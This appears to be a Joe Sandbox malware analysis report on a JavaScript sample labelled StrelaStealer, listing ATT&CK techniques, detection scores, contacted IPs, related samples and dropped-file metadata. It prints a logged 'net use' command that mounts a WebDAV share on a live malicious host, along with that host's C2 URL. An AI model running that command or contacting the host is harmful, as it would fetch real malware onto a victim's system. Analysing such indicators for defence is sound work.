Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
279482651296229246.js	7%	Virustotal		Browse
279482651296229246.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.22	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3400429414.000001BF90200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2179103735.000001BF90110000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2182303141.00000136042EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2182303141.00000136042DC000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588586
Start date and time:	2025-01-11 02:45:49 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	279482651296229246.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 23.209.209.135, 184.28.90.27, 217.20.57.22, 2.16.168.107, 2.16.168.105, 13.107.246.45, 3.219.243.226, 172.202.163.200, 23.41.168.139
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:46:49	API Interceptor	25x Sleep call for process: powershell.exe modified
20:46:53	API Interceptor	1x Sleep call for process: net.exe modified
20:46:53	API Interceptor	2x Sleep call for process: svchost.exe modified
20:47:00	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30362110952254914638.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1849946161599211804.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2752019937704124971.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	66419266296038088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307106429424627
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugH:gJjJGtpTq2yv1AuNZRY3diu8iBVqFR
MD5:	5C2EA0109103E19DDFDCE5F8D693E597
SHA1:	572F213529B572501C00EAFCD3FD287A140267D6
SHA-256:	A64EB628D6F8029785063392BBC3352ADCCE6E297E70CEA801062CCD609A4B50
SHA-512:	C20FF67B80D7521FFB9987C9A405248C085EF10B156B70CFB11DD935135F807E3E1D29125B98B1700F69C25A8E0D1BD5B7A6D164805D1B29EFCF759A1D5D4F0D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xb29fb8b7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585574757409733
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:haza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	6EF30D69A5095991E71C169F909DCF1B
SHA1:	D413D077B1853613324846C5753FC28DFAE2B5ED
SHA-256:	18ABEEC5E252D571B82F467653A72FBE2AF2F41FB3778B78BFF50724AFB0DD0C
SHA-512:	2C8ED8987A4D059505FCABAF804AD02323D59B93AC43024947610F5C92FFDD05B45329B34045EEC6120C48B79E47925EA5F8AF60C0C18F52B6A055B6F4FEB2A1
Malicious:	false
Preview:	....... ...............X\...;...{......................0.z..........{..5....}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{......................................5....}'..................q..5....}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0809243965922786
Encrypted:	false
SSDEEP:	3:Wmt/KYenQRbGuAJkhvekl1djLkrY2illrekGltll/SPj:Wm1KznYrxlrwGJe3l
MD5:	D08CD918017A7BC41229AA42566A5846
SHA1:	25CBA72129B85431186540A9C0818C104EDC773B
SHA-256:	4D4FA8B5EAB5CE742E594CA5438AB90DBFC1073DEF8D06DCE9C453BB8B47C7F4
SHA-512:	84A2E2CB2FA762868062859BD0D2E51ED241D34CD71D44789D773A23D401DFFAEF2280F54C6F700375DEC8DFC00D59B7690EEE830819EA0BC312FE2B25158072
Malicious:	false
Preview:	...L.....................................;...{..5....}.......{...............{.......{...XL......{...................q..5....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.189386858142092
Encrypted:	false
SSDEEP:	6:iO4qVIJiL+q2P92nKuAl9OmbnIFUtSqVKux1ZmwsqVKunLVkwO92nKuAl9OmbjLJ:7nRyv4HAahFUtZKu7/LKunR5LHAaSJ
MD5:	7BD0054166E69D337F2FD1EF7C3806AC
SHA1:	33FEB10992807ACCD797BF07804348C1A7829FC1
SHA-256:	665242699F9B86ACAC99DB6080AA06A2A97E4271406610689B206D85CDDC2CAC
SHA-512:	44EDFE065414A3B9C0A7A01082AE669005397CD916258B96AE65E7F72F29DDC4FB0CA05DCB3A3BE36BFECE79CD19D55A19A3E4F746B15C6E8614F9D5362272B7
Malicious:	false
Preview:	2025/01/10-20:46:53.124 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:46:53.126 1c38 Recovering log #3.2025/01/10-20:46:53.126 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.189386858142092
Encrypted:	false
SSDEEP:	6:iO4qVIJiL+q2P92nKuAl9OmbnIFUtSqVKux1ZmwsqVKunLVkwO92nKuAl9OmbjLJ:7nRyv4HAahFUtZKu7/LKunR5LHAaSJ
MD5:	7BD0054166E69D337F2FD1EF7C3806AC
SHA1:	33FEB10992807ACCD797BF07804348C1A7829FC1
SHA-256:	665242699F9B86ACAC99DB6080AA06A2A97E4271406610689B206D85CDDC2CAC
SHA-512:	44EDFE065414A3B9C0A7A01082AE669005397CD916258B96AE65E7F72F29DDC4FB0CA05DCB3A3BE36BFECE79CD19D55A19A3E4F746B15C6E8614F9D5362272B7
Malicious:	false
Preview:	2025/01/10-20:46:53.124 1c38 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:46:53.126 1c38 Recovering log #3.2025/01/10-20:46:53.126 1c38 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1381726127374945
Encrypted:	false
SSDEEP:	6:iO4qVtus34q2P92nKuAl9Ombzo2jMGIFUtSqV8JZmwsqVvt3DkwO92nKuAl9OmbX:7n734v4HAa8uFUtZ8J/Lvt3D5LHAa8RJ
MD5:	E154EC4919AE37C06104CEC191AABAED
SHA1:	983FA4D464A3500099C02A66930ACBD9BB647556
SHA-256:	14633C672518AC130F5096C8228BFBEC2567E396DC4CE81618902CB437076580
SHA-512:	8301FE868BF53AE6320F51C8F6A46C4758852790AE3043A937734FBD701445B6FEA483F2218AC1276A5B3D7660208EBCFC8C873EEF5021FEFB915227F61AE754
Malicious:	false
Preview:	2025/01/10-20:46:53.204 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:46:53.205 1cb4 Recovering log #3.2025/01/10-20:46:53.206 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1381726127374945
Encrypted:	false
SSDEEP:	6:iO4qVtus34q2P92nKuAl9Ombzo2jMGIFUtSqV8JZmwsqVvt3DkwO92nKuAl9OmbX:7n734v4HAa8uFUtZ8J/Lvt3D5LHAa8RJ
MD5:	E154EC4919AE37C06104CEC191AABAED
SHA1:	983FA4D464A3500099C02A66930ACBD9BB647556
SHA-256:	14633C672518AC130F5096C8228BFBEC2567E396DC4CE81618902CB437076580
SHA-512:	8301FE868BF53AE6320F51C8F6A46C4758852790AE3043A937734FBD701445B6FEA483F2218AC1276A5B3D7660208EBCFC8C873EEF5021FEFB915227F61AE754
Malicious:	false
Preview:	2025/01/10-20:46:53.204 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:46:53.205 1cb4 Recovering log #3.2025/01/10-20:46:53.206 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1090d7ed-e0a0-4fcb-8285-1d789dc99c21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6ddc61a6-abdc-4281-a1f9-0e481fe28e22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.055018257017307
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqADsBdOg2HuAcaq3QYiubxnP7E4TfF+:Y2sRdsUdMHe3QYhbxP7np+
MD5:	5DC1D86716A5AD06C9C27F30B3B3DF0F
SHA1:	AD0846B683930CBE9C60289737D92D680CDE7DE0
SHA-256:	3DD4A07C9C703B95C7BB8EDE2D118DC4673F036322641B1CFDE32043005BD1EB
SHA-512:	DE2B7A83EAEDC7F0D0C0E3B2A839DBE9BC8327E722BD74168E6A5B032A1E6F365C82126E2FA26A8FE81AD40F85B3A65E7CBE5B1C9DB37FEFBDE434596F8F2782
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120025218445","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127999},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4f6f24.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047195090775108
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqnT/sBdOg2HXcaq3QYiubxnP7E4TfF+:Y2sRdsgTAdMHW3QYhbxP7np+
MD5:	70321A46A77A3C2465E2F031754B3E06
SHA1:	5E7E713285D36F12ACFC68A34D8A34FD33C96B34
SHA-256:	344DA48DA0F9A5CC258E10D6C28086B7718CBE596CDC3D7A2A61C8F5FD781248
SHA-512:	E885342B270FE3D538F17F8F80B9ED061B30EE55624177BD81F5C65C033160D71559D60872BC0F99C0C93FAE29F9D09FD5042B68D83CD538154D1335BAC8205D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340988966329963","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144691},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.233656901482095
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUYDD/zB:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLn
MD5:	DF58D2E88A24A7218FF17EC50F9BF66A
SHA1:	885FCB28EF2512C788DF8857329DAF4173B88030
SHA-256:	90306C2486BB365375776E29A5551FBE447CEAB397067C415FF10A41515EA0A5
SHA-512:	F5DF1F69921483725D4B9FBDEEE23CED9118CC24728DE48BAE75767ABB0AB028882EE47550FABCFBF2E3E270520AEBA32B742891D0105D1856191E4777096C8D
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.215036617944422
Encrypted:	false
SSDEEP:	6:iO4qVMEN4q2P92nKuAl9OmbzNMxIFUtSqV0Hj3JZmwsqV9/rDkwO92nKuAl9Ombg:7nL4v4HAa8jFUtZsJ/L9/rD5LHAa84J
MD5:	98CE2C34994F3582B7E881E47FAD0202
SHA1:	E9149300F41CD827FE491C073A31B063D74DFD09
SHA-256:	D6A6849146CA3B0149D3C5045C7C8512B165D16D8E9AE40EEC0135A96215157F
SHA-512:	1F1CAD09316102D3A4E1114C4AA6211268EAFC6CB127594558665A3FDD01D96B3102B0EEB1E3AE3C4042BF06E752117EF6EA30E0EA3C674F948BFE5E9ED4B049
Malicious:	false
Preview:	2025/01/10-20:46:53.680 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:46:53.689 1cb4 Recovering log #3.2025/01/10-20:46:53.718 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.215036617944422
Encrypted:	false
SSDEEP:	6:iO4qVMEN4q2P92nKuAl9OmbzNMxIFUtSqV0Hj3JZmwsqV9/rDkwO92nKuAl9Ombg:7nL4v4HAa8jFUtZsJ/L9/rD5LHAa84J
MD5:	98CE2C34994F3582B7E881E47FAD0202
SHA1:	E9149300F41CD827FE491C073A31B063D74DFD09
SHA-256:	D6A6849146CA3B0149D3C5045C7C8512B165D16D8E9AE40EEC0135A96215157F
SHA-512:	1F1CAD09316102D3A4E1114C4AA6211268EAFC6CB127594558665A3FDD01D96B3102B0EEB1E3AE3C4042BF06E752117EF6EA30E0EA3C674F948BFE5E9ED4B049
Malicious:	false
Preview:	2025/01/10-20:46:53.680 1cb4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:46:53.689 1cb4 Recovering log #3.2025/01/10-20:46:53.718 1cb4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
